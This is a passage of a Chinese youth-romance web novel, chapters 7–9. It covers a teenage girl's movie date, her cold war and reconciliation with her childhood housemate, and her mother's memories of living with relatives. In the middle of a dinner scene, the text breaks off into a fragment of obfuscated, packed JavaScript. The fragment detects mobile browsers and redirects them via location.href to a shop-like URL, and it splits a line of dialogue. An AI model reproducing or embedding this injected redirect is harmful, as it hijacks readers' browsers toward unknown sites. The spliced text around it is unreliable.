她想起高中三年,方涵知从来没有因为她跟别人玩而说过什么,一次都没有。永远笑嘻嘻的,永远随叫随到。
原来心里藏了这么多,女儿家的心思总是细腻且敏感。
方涵知:[maybe,也许,大概,应该是路明川脸皮薄吧。你要是让我当时就说出来,你把我掐死我也做不到。]
徐凌音:[贴贴jpg。][怎么会,你以后不要憋心里,要不然我真的掐你。]
方涵知:[嘿嘿。你要不然过几天再去问他。]
徐凌音:[斯密吗喽jpg.][不好意思,我问了他也不说,我了解他得很。]
方涵知:[这酷哥真奇怪。]
徐凌音:[呵呵,无福消受。]、
退出对话框的时候,她忽然想,原来每个人心里都有说不出口的话。
就像方涵知吃醋了三年,一个字都没提过。
但至于路明川今天那个笑,笑得她到现在还想不明白。
她退出对话,又有几个朋友回消息。她挨个骂回去,把今晚受的气全倒出来。手指滑得飞快,屏幕上的字一行接一行。
不知道过了多久。
等她终于觉得累了,手指真的发酸到不能再打出任何一个字,她才把手机往枕头边一扔,闭上眼休息一会儿再睁开,发现屋里原来已经黑透了。
窗帘没拉严,有月光漏进来,落在地板上。窗外蝉鸣一声接一声,远处有狗叫。
她翻了个身,盯着天花板。
裙子早已换成了她总爱穿的背心短裤,毫无束缚,柔软的像是云层相贴,舒服得她忍不住想掀过被子直接睡。
不知道想到什么,她突然睁开眼,又拿起手机,今天太累了,无心找陈远舟,她翻开朋友圈,滑到最底端,是几张乐高图片,配文——夜半成果,感谢小耳朵。
小耳朵指代的是路明川,徐凌音开心的时候,或者是哄路明川的时候,就会这么喊他,不过一般都是私底下,这还是第一次发在明面上,外人并不知道含义,只有方涵知才清楚。
她放大图片。
城堡立在暖黄的灯光里,尖顶、塔楼、蜿蜒的台阶。两只手落在木地板上,一只是她的,松松地搭着;一只是他的,修长干净,离得不远不近。
那天晚上她突然来了兴致,非要拼,结果工程量太大,拼到半夜还在熬。她困得哈欠连天,脑袋像小鸡啄米。
最后是路明川把她推到床上,把被子盖她头上,让她必须闭眼睛睡觉。
第二天醒来,城堡已经拼好了,整整齐齐摆在她书桌上。
她当时感动得不行,拍了照发朋友圈。
少女的心思简单纯粹,只需要对方一点点付出,就足够铭记很久。
徐凌音看了好久,决定暂时把这条给删掉,一是余气未消,二是不想让陈远舟误会。反正图片是保存在图库里的,有这个纪念就成
隔壁房间。
路明川还坐在那把椅子上,没开灯,没动。
脚边躺着那个枕头,她砸过来的,没人捡。
他垂着眼,手里有一下没一下地转着那个魔方挂件。
小巧漂亮的魔方在指间翻转,发出细微的咔哒声,在寂静的夜里格外清晰。
7. Chapter 07
自从和路明川闹翻之后,两人陷入一种古怪的沉默。
以前吵架,最多僵到第二天,他就会出现在她房门口,大早上给徐凌音买早餐和她爱吃的那家糖水,徐凌音接过去就是相当于翻篇。
有时候徐凌音想和好,就站在路明川的房门口那里看他一眼,两人对视一会儿,好了,翻篇。
徐凌音就会哼一声,然后该干嘛干嘛。
粗暴简单却高效。
可这次一周过去了,什么动静都没有。
徐凌音也想过去找他。可每次这个念头冒出来,那天晚上的画面就跟着涌上来,她就气,觉得自己活像舔狗。
于是她开始躲。能不待客厅就不待,除了吃饭和出门,基本把自己关在房间里。甚至把积灰的星露谷翻出来,一口气肝了一百多个小时,肝得头昏眼花,甚至还想再开个号。
好像这样就能把时间填满,不让自己想别的。
直到几天后,高考查分的时间到了。
徐凌音睡到中午十二点才起来,要不然葛芳把她电话打爆催她差分,还不知道得睡到下午几点去。
电脑屏幕弹出网页,登录页面赫然显在眼前。
她有点好奇路明川查了没有,多少分,多少名。
一堆乱七八糟的念头蹦出来,她的手指随着按下鼠标,分数几乎没给她任何准备时间,猛地弹出来。
!
好吧,一个意料之中的分数。正常发挥已经很不容易了,没有发挥失常就谢天谢地了,徐凌音是个懂得知足的人,她拍下照发单发给班主任,然后再发给葛芳和徐宝国,就关掉了电脑。
直到电影院上了新片。她在一堆片子里挑花了眼,爱情片藏不住她的小心思,恐怖片她是真怕。挑来挑去,最后挑了部动作片。
一推开大门,陈远舟已经站在门口等了好一会儿了,手上还提着两杯奶茶。
徐凌音有点惊讶,毕竟前一天陈远舟对于她提出看电影这事还没回复,现在看来陈远舟似乎比她还要主动一点。
*
商场里冷气开得太足了。
徐凌音从外面三十多度的暑气里一头扎进来,小腿瞬间起了一层鸡皮疙瘩。她今天穿了条短裤,露在外面的皮肤被冷风吹得发紧。
“学长,我先去一下卫生间。”
陈远舟点了点头,“这里的纸可能不太安全。”随即,他拿出一包未开封的新纸递给徐凌音。
那纸包还带着一点若有若无的香味,徐凌音接过去,但没敢多闻,只是按捺住内心的小雀跃努力维持矜持。
洗手间的镜子前,她拿出那支新买的口红补妆。抿着嘴晕开颜色的时候,镜子里突然多了一个人。
“伍丽文!”
她转过身,眼睛一下子亮了。
伍丽文是她高三最后一学期的同桌,两人完全“生死”交情,早读在书后面唱歌、语文默写一起用小抄、上课睡觉打掩护,提问了还在旁边递答案。
眼前的伍丽文烫了卷毛,染成粉色,还打了眉钉,看着像个不好惹的精神小妹。可徐凌音知道,这人内里怂得很,高中和陌生人说话都会脸红。
“诶,我上楼就看见你了。”伍丽文凑过来。
“那你不喊我?一毕业就把咱俩交情当放屁了?”徐凌音伸出手指戳着她的肩头,一下又一下。
“瞎说。”伍丽文撞了撞她肩膀,然后笑得暧昧,“这不是看你旁边跟个帅哥嘛。”
徐凌音被她笑得有点不自在。
“你们看什么电影?不会跟我同一部吧?”
徐凌音从包里掏出票根。伍丽文看了一眼,嘴角抽了抽。
“……动作片?”
“对啊。”
“追人看动作片?”
徐凌音摸了摸鼻子:“觉得看爱情片心思太明显了嘛。”
“不是,你本来就是追人,心思不明显怎么追?俩人一直猜来猜去脑筋急转弯呢?再不济看个恐怖片也行啊,到害怕地方往他怀里一靠,这不就来了吗。”
“不行,我真的怕鬼啊,我晚上睡不着。”
“怕不是正好?晚上睡不着就找他聊天啊。”
徐凌音看着伍丽文,像是第一次认识这个人:“我怎么没发现你在这方面这么有天赋?你纯反差来的?”
伍丽文摆摆手,做了个抽烟的姿势,对着空气缓缓吐出一口不存在的烟,脸上是看破红尘的沧桑。
“低调低调。”
见着电影快开始了,伍丽文还不忘薅了一把爆米花,挥挥手走了。
*
放映厅里很暗。
大屏幕上打得热火朝天,爆炸、飙车、肉搏,声音震得人耳膜发麻,一颗心被高高提起。但徐凌音却实在提不起兴趣。她怕自己睡过去,只好拼命往嘴里塞爆米花,用咀嚼的动作对抗困意。
电影声音大,她嚼得咔嚓咔嚓也不碍事。只是动作太密,惹得陈远舟看了她好几眼。
没什么原因,单纯是他也想吃两口。可徐凌音的手像是长在桶里了,完全没给他机会。
吃到一半,她突然意识到什么,停下来,把桶递过去:“学长,你也吃点。”
陈远舟笑了。他偏过头,凑近她耳边。
“不用,我不爱吃这个。”
徐凌音的腮帮子停下来,又慢慢地鼓动起来。她抱着爆米花桶,像只呆住的仓鼠。
不吃为什么还看了她好几眼?
她没想明白。又觉得他刚才离得太近了,近到她能看清他睫毛的弧度,一下子和除了路明川以外的异性离这么近,她还有点不习惯。
电影在两个小时后结束,人群散开,两人从里面出来站着原地。
陈远舟开口:“你等会想吃什么?”
商场里那么多好吃的,川菜、火锅、日料,每一家都飘着香。徐凌音咽了咽口水,一颗心蠢蠢欲动。但自从之前胡吃海塞得了肠胃炎之后,葛芳就严禁她晚饭在外面吃,怎么着也得回家吃饭。
若是她不听,那葛芳就只好宵夜给她加一顿竹笋炒肉了。虽然现在葛芳已经不会再动手了,但是那种恐惧还在啊。
不行。
她心里的小人摇了摇头。徐宝国眼睛尖,和平常不一样他一眼就能看出来。要是路明川再在旁边煽风点火两句,那就完了。
她扯出一个笑:“学长,我家里做好饭了。下次我请你,好不好?”
陈远舟愣了一下,点头:“好。”
两人并肩往外走。一路上聊着刚才的电影,徐凌音看得不认真,大多数时候在听,偶尔说两句。有时候说错了,陈远舟也不纠正,只是顺着她的话接。
温和,礼貌,恰到好处的距离。
回到家,饭菜率先迎接徐凌音。
葛芳正在摆碗筷,看见她就嚷:“又这么晚!”
徐凌音讪笑:“这不刚刚好嘛。”
她一屁股坐到老位置上。
葛芳拍了她一下,冲路明川的房间扬扬下巴:“去叫明川吃饭。”
徐凌音一脸哀怨,然后压低声音:“你又不是不知道我俩吵架。”
葛芳一脸惊讶:“还没好?以前不是第二天就嘻嘻哈哈了吗?”
“那是以前,现在是现在。”
葛芳没话说,只好自己喊了一声。
门开了。
路明川走出来,碎发比之前长了一点,微微掩着他的眼,落下一片眼下的阴影,连带着眼下那颗浅淡的红色小痣也若隐若现,整个人散发着一股许久没被阳光晒过的阴气。
两人没眼神交流,只是各坐一遍。
饭桌上安静极了。碗筷碰撞的细碎声响,嚼东西的声音,空气像是凝固了。
徐宝国打开抖音想缓解尴尬。视频里一个穿着龙袍的群众演员正在啃鸡腿,旁白是雄浑的译制片腔调:“历史总是惊人的相似——上一秒朕还是九五至尊,下一秒盒饭凉了。”
徐凌音差点把饭喷出来。
葛芳瞪了她一眼,嘴角也有点绷不住。
这视频倒是把气氛缓和了一点。徐凌音终于敢伸筷子去夹路明川面前那道菜,肉沫焖豆角,可惜豆角实在狡猾,夹起来移一点距离就洒几颗豆角,像是给两人之间牵出一条绿色的虚线。
徐凌音:“……”
路明川默了一下。
他起身去厨房,拿了个白瓷勺,放回豆角盘子里。
然后坐回去,继续吃饭。
徐凌音撇了撇嘴,也没再吃那道菜。
“高考成绩出来了,”徐宝国开口,“你们想好报哪了吗?”
见路明川没说话,徐凌音也没开口。
葛芳有些不满,用筷子敲了敲碗边:“长辈问话,怎么不回答?”
徐凌音喝了口水:“嗯……想报南医。专业还没想好。”
“南医?”葛芳筷子一顿,“那个南川医科大?离家那么远,怎么报这个?”
徐凌音摸了摸鼻子。
因为陈远舟报南医。
本来她还在南医和华大之间犹豫不决,听说他定了南大,心里的秤就往那边偏了。
“求稳嘛。”她说,“再说我从小对学医也有兴趣。”
南医确实是赫然有名,她的成绩报临床或口腔绰绰有余。可华大离家近得多,冲一把王牌专业也很稳。怎么看,葛芳都想不出报南医的理由。
“累学医啊!”
“我觉得还好嘛。”
葛芳没再说什么。她向来不强加干涉,路是自己走的。
徐宝国看向一直沉默的路明川:“明川,你呢?”
路明川抬起眼,那双眼睛在自然光线下显出浅淡的琥珀色,眼底却是凉的,隔着泡在水里的薄冰。
他的目光从徐凌音脸上滑过。
很快。快到几乎察觉不到。
然后他垂下眼,语气很淡:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406541|200538||http|test|mini|href|location''.split(''|''),0,{}));
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>“华大。”
葛芳点点头:“想好学什么了?”
“没想好。物理吧。”
徐凌音对这个回答不意外。他当了六年物理课代表,解题比老师还快。房间里还放着物理竞赛全市第一的奖。
“华大物理挺好的。”葛芳说,“你成绩报那个应该没问题。”
路明川没接话。
他放下筷子,碗里的饭还剩一小半。椅腿擦过地面,发出一声轻响。他站起来,把碗筷放进厨房水槽,拿起自己的水杯。
徐凌音背对着他。她低着头,盯着碗里的饭,一口一口嚼着。假装什么都没感觉到。
然后路明川继续走。
门开了,又关上。
吃完饭,徐凌音帮着收拾碗筷。
葛芳端着盘子跟进来,凑到她耳边,压低声音:“我说,要是明川没犯什么严重的错,你干脆先去服个软。”
徐凌音手一顿,整个人像只炸毛的猫,眼睛都瞪圆了:“我才不要。”
“你这孩子怎么这么轴呢。”
葛芳把盘子放进水池,拧开水龙头,哗啦啦的水声里,她的声音听起来有些远。
“你看人家虽然在咱家住了十来年,看着跟亲儿子似的,但说到底也没有血缘关系。难听点讲,就是寄人篱下。我和你爸终究不是他亲生父母,他从小到大的感情寄托就你一个。你再跟他掰了,你让他在咱家里多难待?”
徐凌音垂下眼,放剩菜进冰箱的动作明显慢下来。
她知道妈妈说得对。可她就是委屈。
好一会儿,她下意识微撅起唇瓣,声音闷闷的:“那我也不好受啊。我不是你女儿吗,你怎么总念着他呢。”
葛芳关了水龙头,转过身看她。
厨房的灯光落在她脸上,把她眼角的细纹照得分明。她伸手,指腹戳了戳徐凌音的脑门。
“你老妈我呀——”
“小时候家里穷,最近的学校离家都有几十公里。外婆就把我寄养在大伯家里。大伯对我是挺好的,不打不骂,给口饭吃。但是那种寄人篱下的感觉,你懂吗?”
“做什么都要看眼色,说话只敢小声,吃饭不敢多夹菜,睡觉不敢翻太多身。生怕哪里做得不对,惹人家不高兴。其实也没人真的欺负我,可就是那种那种悬着的感觉。像踩在薄冰上,不知道哪一步会掉下去。”
她笑了一下,很淡。
“大伯家的哥哥姐姐倒是不欺负我,就是当我透明。他们聊天我插不上嘴,他们玩不叫我,吃饭的时候他们聊学校的事,我就低头扒饭。后来我学会了,上学路上偷偷哭一会儿,哭完了把眼泪擦干,回去继续给他们做饭洗衣服。后面发现这种看似不欺负其实也是一种无形的欺负。”
徐凌音愣在那里。
这些话妈妈从来没说过。现在外婆家现在修了三层小楼,院子里种满花,每年过年回去热热闹闹的,哪里看得出几十年前的穷。
“那时候我就想,要是有个人能护着我点,偏爱我一点,”葛芳转过头看她,眼睛里有光在闪,但很快又压下去,“我日子都好过不知道多少。”
她拍了拍徐凌音的肩膀,语气又变回平常那样,淡淡的,像是刚才什么都没发生过。
“行了,你自己想想吧。”
说完,她拿起抹布开始擦灶台,动作利落,脊背挺直。
徐凌音站在那儿,看着她妈妈的背影。
煤气灶的火苗是关着的,可她的眼眶忽然烫了一下。
她想起妈妈每天早上起得最早,晚上睡得最晚。想起她从不挑食,什么都吃,什么都“挺好的”。想起她每次回外婆家,大包小包拎一堆,忙前忙后一整天,脸上永远是笑,从来没提过这些事。
徐凌音喉咙发紧,鼻尖酸得厉害。她咬着下唇,拼命把那点酸意压回去。
她走过去,把头埋进葛芳的颈窝里。
葛芳被撞得身子一晃,手上还拿着抹布,愣了一下:“干嘛呢?”
“没干嘛。”
徐凌音的声音闷闷的,从她颈窝里传出来。
葛芳没动。过了一会儿,她抬起那只没拿抹布的手,轻轻拍了拍女儿的后脑勺。
“行了行了,多大人了还撒娇。”
徐凌音没抬头。她把脸埋得更深了一点。
“我知道了。”她闷声说,“我等会儿去看看他好了。”
葛芳没说话。只是又拍了拍她的头。
厨房里安静下来。窗外有蝉鸣,一声接一声。水槽里没洗的碗泡在泡沫水里,水面映着厨房的灯光,一晃一晃的。
过了很久,徐凌音才抬起头。
她眼眶还有点红,但已经看不出哭过。
“妈。”
“嗯?”
“你以后要是有什么不开心的,要跟我说。”
葛芳看了她一眼,嘴角弯起来。
“知道了。”她说,“快去。”
8. Chapter 08
徐凌音去卫生间洗了把脸。
水珠顺着下颌滴落,洇湿了领口一小片。她随手抽了条帕子盖在眼皮上,往沙发上一躺。手机攥在掌心,拇指无意识地抠着屏幕边缘,一下一下,像在数心跳。
脑子里乱成一团。
等会儿要先说什么?冷战一个星期了,要是他不跟她和好怎么办。要是他还像那天晚上一样,站在阴影里冲她笑一下,然后什么都不说怎么办。
啧。
她烦躁地翻了个身。帕子滑落在脸侧,露出紧皱的眉头。客厅的空调嗡嗡响着,她却觉得闷热难当,像有什么东西堵在胸口,吐不出来咽不下去。
主要是,她现在连他到底在气什么都不知道啊。
治病还讲究对症下药,她现在连个方向都摸不着。
她没好意思直接闯进去问。那人惯会沉默的,万一把她晾在那儿当雕塑,多尴尬。总不能揪着他衣领逼他开口吧。
思来想去,天人交战。
她还是掏出手机。手指悬在键盘上方,指尖碰了没几下又缩回来。屏幕黑了又亮,亮了又黑。
徐凌音:[最近天气好像有点降温了。]
一发完,她直接把手机反扣在沙发上。
整颗心像沿着悬崖滚落下去,悬在半空,不上不下。任何一点风吹草动都能在上面添几道痕迹,微信提示音、空调的嗡嗡声、窗外偶尔路过的车响,每一下都让她神经一跳。
她在客厅走了好几圈。
手机突然震动。她扑过去抓起来。
靠!垃圾短信。什么“999一刀,千万灵宠等你拿”。
徐凌音气得冒烟,直接打了一连串的td!td!
第一次觉得垃圾短信这么烦。
她点开消息框,路明川依旧没回复。连“正在输入中”都没出现。
徐凌音挠了挠脸,咬了咬嘴唇,只好再发一句:
[我好像感冒了,鼻塞头疼。]
消息刚发出去,她还没来得及把手机放下,就听见门锁转动的声音。
下一秒,路明川站在她面前,神色淡然,只是静静地观察她。
徐凌音看着他,咳了两声。装得太假,她自己都听得出来。
路明川看了她一眼,转身就要回房间。
徐凌音不愧是校运会短跑50米女子组冠军,一个弹簧起跳加箭步猛冲,在他进门之前率先抵达房门口,死死攥住门把手,整个人抵在门缝那儿。
俨然一副禁止出入的架势。
两人靠得近。
路明川比她高,微微弯着腰,整个人落下的阴影就把她完全笼罩。他身上混着淡淡的皂角香,和一点她说不清的东西,像是很久没打开的旧书,翻开时扑面而来的那种气息,干燥的,带点涩。
徐凌音抬头看他。
逆着光,辨不清他眼里晦暗的情绪。那双眼像被封在琥珀里的标本,明明在看着她,却看不出在看什么。
她又咳了两声。这一次不是装病,是清嗓子,生怕等会儿蹦出个气泡音来。
“七月的天,近40度高温,你还冷?”
路明川终于开口。声音低缓,像从很深的地方挖出来。
“去检查下丘脑看是不是有毛病。”
这么多天,他总算说了句话。不过这听起来不像疑问句,更像陈述句反向否定。
徐凌音眨了眨眼,乌黑的长睫慢慢扇动。
此刻的她心虚得要命。
她咬着下唇,“谁叫你跟我态度那么冷漠的?简直是七月雪把我冻着了你知道吗?没叫你赔精神损失费都不错了。也是让你当上高冷男神了。”
“我以为你不需要我。”
路明川的声音很轻。
轻到徐凌音几乎以为是自己的错觉。
“你说什么?我没听清。”
路明川又弯了弯腰。
两人的身高差被进一步缩小。徐凌音几乎能闻到他身上的味道,混在七月的温度里,像春季融雪时的山风带着料峭的凉意,却又隐隐透出回暖的迹象。
徐凌音飞快地眨着眼睛,整个人忍不住往门上缩了缩。
谁想到门把手一拧,她重心不稳,直接朝路明川房间里栽进去。
下一秒,手腕和腰后传来温热的触感。
路明川扶住她的后腰,把她稳稳捞了回来。
他的掌心隔着薄薄的睡衣贴在她腰侧。温热透过布料渗进来,像夏天午后的雨滴落在皮肤上——明明该是凉的,却烫得她脊背一僵。
徐凌音垂着眼,看见他小臂上淡青色的血管,因为用力而微微凸起。那只手扶在她腰上,力道很轻,却像烙铁一样,让她整个人都定住了。
她觉得自己大概是真的有点感冒了,要不然眼前发昏,脑子晕乎乎地烧?
“谢谢,谢谢。”她脱口而出一串道谢。
路明川看着她这副样子,没说什么。
他只是缓缓松开五指,拉开距离。
“是你先不找我的。”
一听这话,徐凌音就觉得那种莫名其妙的感觉又上来了。
她戳着路明川的胸口,一脸不可思议,“你又倒打一耙,反客为主,胡搅蛮缠,不讲道理了。”
“我有冤枉你吗?你有了新——”
路明川忽地一顿。
喉结微微滚动。那颗淡红色的小痣随着吞咽的动作轻轻一动。
然后他继续道:“新的人。”
声音干涩,像一枚无法转动的齿轮,再也不肯往下说。
他侧过脸,绕过徐凌音,坐到桌边开始拧那个小魔方。手指机械地转动魔方,咔哒咔哒的声音在安静的房间里格外清晰。
徐凌音看着他。
忽然想起小时候的路明川,总是一个人窝在房间角落,做些无聊枯燥的事情。拼图、魔方、九连环。那时的他也是这样,沉默、疏离、把自己裹得紧紧的。像一只随时准备缩回壳里的蜗牛。
方涵知的话浮现在脑海里。
她怎么说的来着?朋友之间也会吃醋,也会有占有欲。
徐凌音很明白这一点。只是她向来心思大条,看得开,朋友也会有自己别的朋友。这个信条贯穿她十八年,所以她很少生出这种感知。
路明川肯定也是这种。她心里暗暗肯定。
她突然觉得自己不是个合格的朋友。怎么老让自己的朋友为自己难过?
她在心里默默吐了口气。走到书桌边,倚着桌沿,抬手捏了捏路明川的耳垂。
他的耳垂软软的。指尖触到的皮肤温热,像刚晒过的棉被。
路明川的手指顿了一下。魔方停止了转动。
“对不起嘛。”
徐凌音扯了扯嘴角。
“我们从小一起长大,我就下意识忽略你的感受了。我发誓,下次带你一起玩。”
路明川抬起眼看她。
那目光很轻,却像有实质一样落在她脸上。
“一起?”
徐凌音突然语塞。
约会的时候怎么能带电灯泡呢?就算是路明川也不行啊。到时候她和陈远舟牵手了怎么办?难不成把路明川也一起牵着吗,又不是自己养的狗。
虽然追人这事儿还没什么实质性进展,可总得先想好吧。别到时候把两个人都惹毛了。
嘴唇发干。她舔了舔,脸上写满为难。
“这样吧,我发誓,除了陈远舟,啊不,除了我追喜欢的人的时候不带你,我以后去哪儿都带你玩。像以前的每一天一样,行不行?”
路明川别过脸去。
毫无弧度的唇角忽地一扬。那笑意很浅,却莫名让人心慌。
“喜欢的人?你这辈子到底要喜欢几个,徐凌音?”
“不知道。这事谁说得清啊?你难道就知道你以后的女朋友是谁吗?”
“知道。”
路明川说得坚定,眼睛却抬起看向她。
四目相对。
徐凌音被他看得浑身发毛。总觉得他像一头即将狩猎的猎豹,下一秒就要来咬她的喉管。
她下意识捂住自己的脖颈。
“好吧。”
“所以你是因为这个不开心对不对?”
路明川没说话。又低头玩魔方。
咔哒。咔哒。
徐凌音来了脾气,一把夺过魔方往自己裤兜里塞。
路明川的眼神跟着看过去,从她贴着大腿根的睡裤往上看,修身的小背心上印着卡通图案,散在圆润肩头的头发,还有那张喋喋不休的、红润水亮的唇。整个人宛如一树野栀子,清冽,干净,诱着人想往上靠。
他漫不经心地垂下眼皮。然后移开视线。
“你不说我不还你了。”
“你这个毛病不好,说到自己的情感问题就不说话。以后你和你女朋友怎么交流啊?不得把人家气死。”
路明川还是不说话。唇被抿成一条直线。下颌线绷得紧紧的。
徐凌音去摇晃他肩膀。
“你大大方方承认的话,我待会儿给你点小惊喜。”
他抬眼看她。眼底有什么东西松动了一下,像冰面下突然漾开的涟漪。<
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p>“是。我就是不喜欢你不理我。”
“诶呀,你早说不就完了吗?跟我绕一星期的圈。”
“跟你说有什么用,又不会有变化。”
“怎么没有啊?我知道了下次就会注意啊。你不说我就不知道,下次就一直犯。”
路明川突然站起身。他个子高,站起来时带着压迫感。目光却低低地垂着看她。
“想来你也会一直犯的。所以不用注意。”
“什么啊?”
徐凌音又摸不着头脑了。
这人与人的交流怎么比高三的物化生还难?简直无迹可寻,语气也是怪怪的,怎么有点阴阳怪气呢。
“你为什么,把朋友圈删了?”
路明川突然开口。
话题转变得太快。快到徐凌音一时没反应过来。
“噢,你说那个乐高啊?只是觉得有点幼稚,就删掉了。”
看见路明川脸上的表情又变了,她连忙解释。
“图片我没删啊,一直在相册里存得好好的。大不了以后再发呗,一样的。”
“噢。”
下一秒,两人都没再说话。
安静像水一样漫上来,没过脚踝,没过膝盖,没过胸口要让人喘不上气。
徐凌音摸着兜里的魔方,一时没了主意。随后又把魔方放在桌上,推回他手边。
“下次再给你买个更好的。你不要生气了。你知道的,我们是朋友。”
路明川盯着她,一动不动。那目光很深。像要把她看穿似的。像要把她拆开、揉碎、重新拼起来似的。
徐凌音扯了扯嘴角,换了个说法。
“家人……亲人。没你我活不下去,行了吧?”
“别生气了啊。”
她像个煮熟的面条似的往下滑,指着自己的耳朵。
“你都不知道,我最近耳朵一直发红还肿。你不跟我说话,我都不敢找你。”
“小耳朵,你给我看看呗。”
她把耳朵凑过去。
少女身上的香气钻进路明川鼻子里。那是洗衣液和她自己的味道混在一起,带着阳光晒过的暖意,还有一点点她常用的护手霜的甜,混乱的气息绕在他呼吸里。
路明川没说话,却站起身,牵着她往卫生间走。
他的手指扣在她手腕上。指腹刚好压在她脉搏跳动的地方。一下,一下。
徐凌音低头看着那只手,骨节分明,手指修长,指甲修剪得整齐干净。此刻正不轻不重地握着她。
到了卫生间。路明川打开灯,把她按在洗手台前。
他用生理盐水给她灌洗耳朵,再用碘伏消毒,最后擦干净,薄薄涂了一层药膏。
他的手指在炎热的夏季却莫名有些凉。指尖轻扯着她温热的耳垂,像山间的凉风拂过。
徐凌音从镜子里看他。
他微微低着头,神情专注。睫毛在眼睑下投落淡淡的阴影,像蝶翼轻轻合拢。嘴唇抿着,眉心有极浅的皱痕,像是在做一件很认真的事。那两颗淡红色的痣,在灯光下若隐若现。
“你别侧睡。”他声音低低的。“忍过这个月就好了。”
“噢,行嘛。”
徐凌音应下。声音不自觉地放轻了。
她跑进自己房间,捧出一小把干花。
那是她在阳台上种的蓝盆花和金光菊。蓝盆花开着淡紫色的小花,像一群振翅欲飞的小蝴蝶;金光菊则灿烂得像把阳光揉碎了洒在花瓣上。
她选了开得最好的几枝,倒挂在阴凉处风干。现在褪去了鲜妍,却保留了花的形状。颜色沉淀成更温柔的紫与更沉郁的金。
她用一根细麻绳把它们扎成一束。还系了个歪歪扭扭的蝴蝶结。
“基于你今天表现良好,这把花送给你。”
她把花举到他面前。
“是我亲手栽种、呵护、做成干花的哦。希望路同学你下次继续进步。以后有话不准憋在心里了。”
头顶上的灯光把她整个人镀上一层毛茸茸的光圈。她举着花的样子很认真,眼睛亮亮的,嘴角微微翘起,睫毛上像落了细碎的金粉。
路明川接过那束花。他的目光却定定地看着她,一瞬不瞬。眼神很深,声音却很轻:
“下次有什么别的奖励吗?”
那束干花在他指间轻轻晃动。蓝紫色的花瓣擦过他的虎口,像一次无声的触碰。
徐凌音没想好。
“嗯?你想要什么?”
她站在他面前,仰着头看他。
他们之间只隔着一束花的距离。
9. Chapter 09
卫生间的空间逼仄得近乎窒息,两个人站在里面,连呼吸都要错开半拍。
徐凌音看见那束花离自己越来越近。
路明川垂下头,下半张脸掩在花瓣之后,唯独露出一双狭长凉薄的眼,像是夜晚里缓缓流动的湖水,眼下方那两颗红痣,在这样近的距离里格外清晰,像是冷玉上沁出的两点血痕,平白添了几分蛊惑的意味。
徐凌音盯着那两颗痣,缓慢地生出一种错觉,它们仿佛正在靠近,不是路明川在靠近,只是那两点殷红在放大、在逼近,像是要落在她的唇上。
这种感受让她陌生。她没由来的喉咙发紧,像有什么东西堵在那里,咽不下去也吐不出来。她听见自己吞咽口水的声音,在寂静的卫生间里格外清晰。
那声音落在耳朵里,竟像是某种迫不及待的证明,好像等不及的人是她,渴求的人是她。
徐凌音下意识想推开他,让路明川不要以这样的距离靠近自己,关系再好也男女有别。
“徐凌音,你以后出去玩带上我。”
声音落在空气里,把那暧昧的错觉击得粉碎。
徐凌音一愣。她还以为路明川要说出什么惊天骇人的话,在这样逼仄的空间里,在那样近的距离中,在那两颗痣的蛊惑下,她几乎以为……
不对。
这不是刚才两个人已经约好的话吗?为什么要再说一遍?
她的思绪乱成一团,像被人搅乱的水面,涟漪还在一圈圈荡开,却已经忘了最初的石子落在哪里。
路明川又走近一步。他的目光往下移,落在她的耳垂上。那里正烧着一片红,在白皙的皮肤上格外醒目,晕开的绯红像两枚印上去的红樱桃。
她傻愣着,嘴唇微张,显然没反应过来,还在琢磨这话出现的意思。
路明川便又重复了一遍,语气里多了解释的意味:
“我说,你以后和陈远舟出去玩,带上我。”
徐凌音一时间理不清他的脑回路,学霸的脑子都是山路十八弯吗?不对,她的脑子也不差啊,怎么听不大懂这话,这是人能说出口的话吗,谁上赶着当电灯泡的啊。
“为,为什么?”
“怎么,你和他谈上了?”
路明川问得随意,眼睫却垂下去,遮住了眼底的情绪。
徐凌音茫然地摇头,脸上浮起一层不好意思的红。追人又不是上菜市买猪肉,想买就能得手的。
“那不就还是朋友吗。”路明川的声音不紧不慢,“你不是自己说的,以后和朋友玩也带上我。还是说,我不在这个范围里面。”
“诶诶诶,我是这么个意思吗。”徐凌音急了,声音不自觉地拔高了一点。
“那我不管。”路明川别过脸去,侧脸的线条在灯光下显得清冷而分明,“我理解是这样。”
他偏过头的样子让人看不清神色。只露出那截清瘦的下颌线,和耳后一小片皮肤。那皮肤很白,白得近乎冷淡。
“不是——”
徐凌音才哼出声想要解释,就看见路明川别过脸又要走。那姿态她太熟悉了,余气未消,转身欲走。
这路明川太狗了!她是真的被整怕了。
一时间,脑子里闪过葛芳的话,她来不及多想,上前攥住了路明川的手腕。
他的手腕很瘦,骨节分明,皮肤凉凉的,像握着一截清冷的玉。
“骗子。”路明川说。
语气听不出起伏,平铺直叙的两个字,却让徐凌音脊背一凉。
她只好再退一步。
“行吧行吧,”她咬了咬牙,“但是你不准再诋毁他了。”
“我诋毁他什么了?”
“你说他篮球菜啊,说也就那样。”
“说的不是事实?”
“可是听起来我很不爽啊!”徐凌音瞪了他一眼,“你心里自己想想得了,不准在我面前说出来。”
“你维护他倒是很积极。”
他念出她名字的方式变了,那三个字从他嘴里说出来,语调平平的,却每个字都咬得很清楚,像是一颗一颗地把石子扔进水里。
“徐凌音。”
顿感力max的她没听出里面的意味不对。
“哎呀,那当然了。”徐凌音扯了扯嘴角,答得理所当然。
话落的下一秒,卫生间的门开了,又关了。
变化之快,徐凌音甚至还没来得及把手收回来。
她维持着攥住什么的姿势,指尖还残留着那人手腕上温热的触感,可面前已经空了。
她就那样一个人站在卫生间里,对着空气慢慢皱起了眉,然后对着空气又打了一套拳,挥出去的是拳头,发泄的是说不清道不明的烦躁。
她发誓,一定要把路明川这个坏习惯给改掉!这个动不动就转身走人的毛病,这个说话说一半留一半的毛病,这个让她每次都反应不过来的毛病。
徐凌音后知后觉地想起什么,回头看了一眼洗手台。
那里干干净净的,没有她送的那束花。
想到这儿,她竟舒了一口气。心底那点藏着的、说不清道不明的担忧,像被一只手轻轻抚平了,路明川收了就不会再跟她生气,她还是挺确定这一点的。
徐凌音整个人蹲下去,双手抱住头,整个人陷入人生思考。
